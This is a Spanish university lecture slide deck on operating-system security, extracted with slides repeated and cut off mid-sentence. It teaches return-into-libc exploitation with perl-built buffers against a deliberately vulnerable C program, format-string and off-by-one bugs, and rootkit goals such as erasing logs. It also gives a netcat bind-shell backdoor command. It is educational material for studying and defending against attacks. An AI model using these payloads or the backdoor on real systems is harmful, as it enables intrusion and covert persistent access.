SlideShare una empresa de Scribd logo
1 de 90
Descargar para leer sin conexión
Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
22 de junio de 2011
Universitat Jaume I
1 Brev´ısimo repaso a la sesi´on anterior
2 “Return-into-libc“
3 Vulnerabilidades de formateo de cadena
4 T´ecnica ”off-by-one”
5 Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
6 r00tkits
7 Virtualizaci´on
8 Defensa: Consejos generales
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Disposici´on de la pila
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Versi´on extendida
push %eip ; call
mov %ebp, %esp ; leave, p.I
pop %ebp ; leave, p.II
pop %eip ; ret
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Versi´on extendida
push %eip ; call
mov %ebp, %esp ; leave, p.I
pop %ebp ; leave, p.II
pop %eip ; ret
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Brev´ısimo repaso a la sesi´on anterior
Rutina de llamada a funci´on: El Retorno
Trinity hacking...
Explotaci´on real de un buffer overflow en SSH v1 :-)
Pr´actica
Youtube: Trinity SSHnuke and Nmap
http://www.youtube.com/watch?v=ojFFS T3UQk
Teor´ıa
Matrix Sequel Has Hacker Cred, K. Poulsen, Securityfocus,
2003.
http://www.securityfocus.com/news/4831
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
T´ecnicas de explotaci´on en pilas no ejecutables:
”Return-into-libc”
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Intro
Hay veces que las pilas no son ejecutables (PaX, NX, Solaris,
OpenBSD, . . . )
O el buffer de ataque es muy peque˜no
Hay que cambiar de t´ecnica. . .
Ya no hay shellcode
Saltamos a la libc del sistema (system, open, read, . . . )
T´ıpico: system(“/bin/sh“);
T´ecnica descubierta por Solar Designer en el ’97.
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
Buffer de ataque
Idea
RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS
Ataque
RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
Buffer de ataque
Idea
RELLENO + DIR FUNC LIBC (EIP) + RELLENO (4B) + ARGS
Ataque
RELLENO + DIR SYSTEM LIBC + DIR EXIT LIBC + "/bin/sh’’
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Preparaci´on
C´omo obtener las direcciones
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eaea20 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ea4370 <exit>
0xbffff45e: "TERM=xterm-color"
0xbffff46f: "SHELL=/bin/bash"
0xbffff47f: "HISTSIZE=1000"
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Explotaci´on
Ejemplo (return2libc.c)
#include <stdio.h>
#include <string.h>
void func(char *a) {
char b[5];
strcpy(b, a);
}
int main(int argc, char *argv[]) {
func(argv[1]);
return 0;
}
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Explotaci´on
Ejemplo
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x70x43xeaxb7" . # Dir. de exit()
"x41x41x41x41" . # Dir. de retorno (~ pop %eip)
"x23" # 1er argumento
’)
$ echo $?
35
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x20xeaxeaxb7" . # Dir de system()
"x70x43xeaxb7" . # Dir. de retorno (exit)
"x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
“Return-into-libc“
Explotaci´on
Ejemplo
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x70x43xeaxb7" . # Dir. de exit()
"x41x41x41x41" . # Dir. de retorno (~ pop %eip)
"x23" # 1er argumento
’)
$ echo $?
35
$ ./return2libc $(perl -e ’
printf "A" x 17 . # Relleno
"x20xeaxeaxb7" . # Dir de system()
"x70x43xeaxb7" . # Dir. de retorno (exit)
"x75xf4xffxbf"’) # Puntero a ‘‘/bin/bash’’
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidades de formateo de cadena
“Format String”
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%s: cadena
%d: entero
%o: base octal
%x: base hexadecimal
%c: caracter
% %: s´ımbolo %
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%s: cadena
%d: entero
%o: base octal
%x: base hexadecimal
%c: caracter
% %: s´ımbolo %
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Intro
Cadenas de formato en C
int printf(const char * format, ...);
%n: Escribe en la variable apuntada el # de caracteres le´ıdos
Fichero show formatstring0.c:
int main() {
int a;
printf("Hola%nn", &a);
printf("Caracteres leidos: %dn", a);
return 0;
}
Salida:
Hola
Caracteres leidos: 4
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidad
C´odigo MUY vulnerable
Fichero vuln fs.c:
int main() {
char user_input[512];
gets(user_input);
printf(user_input);
}
Salida:
$ ./vuln_fs
hola
hola$
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Vulnerabilidad
C´odigo MUY vulnerable
Fichero vuln fs.c:
int main() {
char user_input[512];
gets(user_input);
printf(user_input);
}
Salida:
$ ./vuln_fs
hola
hola$
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Explotaci´on
Otra ejecuci´on }:-)
$ ./vuln_fs
%x%x%x%x
1b7fff280b7fe245078257825$
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Vulnerabilidades de formateo de cadena
Explotaci´on
Consideraciones para el ataque
Control total sobre la pila, y en consecuencia sobre el flujo del
programa
Con varios %x podemos desapilar y llegar hasta el EIP
Con %An %An %An %An podemos sobreescribir punteros
Opciones: EIP, punteros a funci´on, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
T´ecnica “off-by-one“
Upps... por uno :(
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Intro
Ejemplo
C´odigo VULNERABLE
char buffer[256];
int i;
for (i=0; i<= 256; i++)
buffer[i]= i;
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
T´ecnica ”off-by-one”
Explotaci´on
Consideraciones para el ataque
S´ı. . . por un byte tambi´en podemos controlar el flujo del
programa
T´ecnica dif´ıcil de aplicar in-the-wild, pero posible
Aunque el programa sea vulnerable no siempre se puede
explotar:
Situaci´on de la pila especial: buffer + EBP + EIP (sin rellenos)
Dependiente del layout de la pila, de la versi´on del compilador,
de la versi´on del kernel, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
Conclusiones sobre las t´ecnicas ”b´asicas“ de
explotaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
Ya hemos visto las t´ecnicas cl´asicas, pero NO est´an obsoletas:
Estas t´ecnicas NO s´olo sirven para explotar programas en
C/C++.
Los int´erpretes m´as comunes (Python, PHP, Java, . . . )
tambi´en son propensos a ataques desde los programas
interpretados
Ejemplo extremo: desde un v´ıdeo flash se puede inyectar
c´odigo m´aquina (JIT Spraying:
http://www.youtube.com/watch?v=HJuBpciJ3Ao)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Conclusiones sobre las t´ecnicas ”b´asicas“ de explotaci´on
~$ ldd $(which java)
linux-gate.so.1 => (0xb783a000)
libpthread.so.0 => /lib/libpthread.so.0 (0xb77f2000)
libjli.so => /opt/java/jre/bin/../lib/i386/jli/libjli.so (0xb77e9000)
libdl.so.2 => /lib/libdl.so.2 (0xb77e5000)
libc.so.6 => /lib/libc.so.6 (0xb7699000)
/lib/ld-linux.so.2 (0xb783b000)
~$ ls -la /lib/libc.so.6
lrwxrwxrwx 1 root root 14 16. Apr 12:24 /lib/libc.so.6 -> libc-2.11.1.so
~$ ls -la /lib/libc-2.11.1.so
-rwxr-xr-x 1 root root 1558827 16. Apr 12:24 /lib/libc-2.11.1.so
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
r00tkits, backdoors, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Ya hemos usado una de las t´ecnicas de explotaci´on vistas y
somos root =D
Ahora qu´e?
Borrar rastro y asegurarnos la entrada.
C´omo?
Usando r00tkits (backdoors, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Intro
Backdoor b´asico: $ nc -l -p 30000 -e /bin/bash
En general queremos:
Borrar logs
Asegurar el acceso shell (troyanizar ssh, . . . )
Ocultar actividad (p. ej: xhide, argv fake, . . . )
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
M´etodos de troyanizaci´on en GNU/Linux:
Kernel v2.4 ⇒ extern syscall table[]
Kernel v2.6 sin LKM ⇒ inyecciones en /dev/(k)mem
Ejemplo: SucKIT (Phrack #58 0x07)
M´etodos de troyanizaci´on en Windows:
HackerDefender, Idea: ”Blue Pill“
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Explotaci´on
Red or blue pill...
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Detectores y neutralizadores de r00tkits
En Win: RootkitRevealer
http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels)
+ no usar LKM
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Detectores y neutralizadores de r00tkits
En Win: RootkitRevealer
http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
En GNU/Linux: patch /dev/kmem (Fedora y RHEL kernels)
+ no usar LKM
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Otros m´etodos generales
Parches para el n´ucleo (Kernel):
mprotect(), mlock(), man capabilities
SELinux by NSA. Integrado en el Kernel 2.6.
Grsecurity
A nivel de aplicaci´on:
Sandboxes, isolaci´on de procesos, chroot, . . .
A nivel de la m´aquina
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
r00tkits
Defensa
Arquitectura de SELinux
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Intro
Arquitectura cl´asica: HW + n´ucleo + SW
Arquitectura virtualizada: HW + hipervisor (n´ucleo) +
maquinavirtual × n + SW
Ejemplos: VirtualBox, Xen, WMware, Qubes, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Intro
Arquitectura cl´asica: HW + n´ucleo + SW
Arquitectura virtualizada: HW + hipervisor (n´ucleo) +
maquinavirtual × n + SW
Ejemplos: VirtualBox, Xen, WMware, Qubes, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Intro
Arquitectura cl´asica: HW + n´ucleo + SW
Arquitectura virtualizada: HW + hipervisor (n´ucleo) +
maquinavirtual × n + SW
Ejemplos: VirtualBox, Xen, WMware, Qubes, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Arquitectura de Qubes
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Defensa
La virtualizaci´on parece la soluci´on definitiva :-)
NO!! Bugs en la CPU :-(
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Virtualizaci´on
Defensa
La virtualizaci´on parece la soluci´on definitiva :-)
NO!! Bugs en la CPU :-(
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Defensa: Consejos generales
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo programador. . .
NUNCA confies en el usuario
SIEMPRE filtra bien la entrada del usuario
En general, deniega toda entrada y acepta solo lo v´alida, no al
contrario!
Aplica el m´etodo del menor privilegio
Entender bien las cosas ayuda a no hacer errores y a la
seguridad
Cu´antas m´as LDC y complejidad, m´as bugs
Usa un buen IDE (Eclipse), syntax parsers, code coverage, . . .
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
sitio oficial?
Usa herramientas que te ayuden a detectar anomalias:
integridad de ficheros, detector de r00tkits, . . .
Haz copias de seguridad peri´odicas. (Sobre todo en la
empresa!)
. . . En general, hay S.O.’s m´as seguros que otros ;-)
Jacobo Avariento Seguridad en Sistemas Operativos
Seguridad en Sistemas Operativos
Defensa: Consejos generales
Siendo usuario final. . .
Ten siempre actualizado tu S.O.
Ay´udate de las herramientas disponibles: ASLR, NX, heap
randomization, . . .
Cuidado con el SW que te instalas. Est´a firmado? Viene del
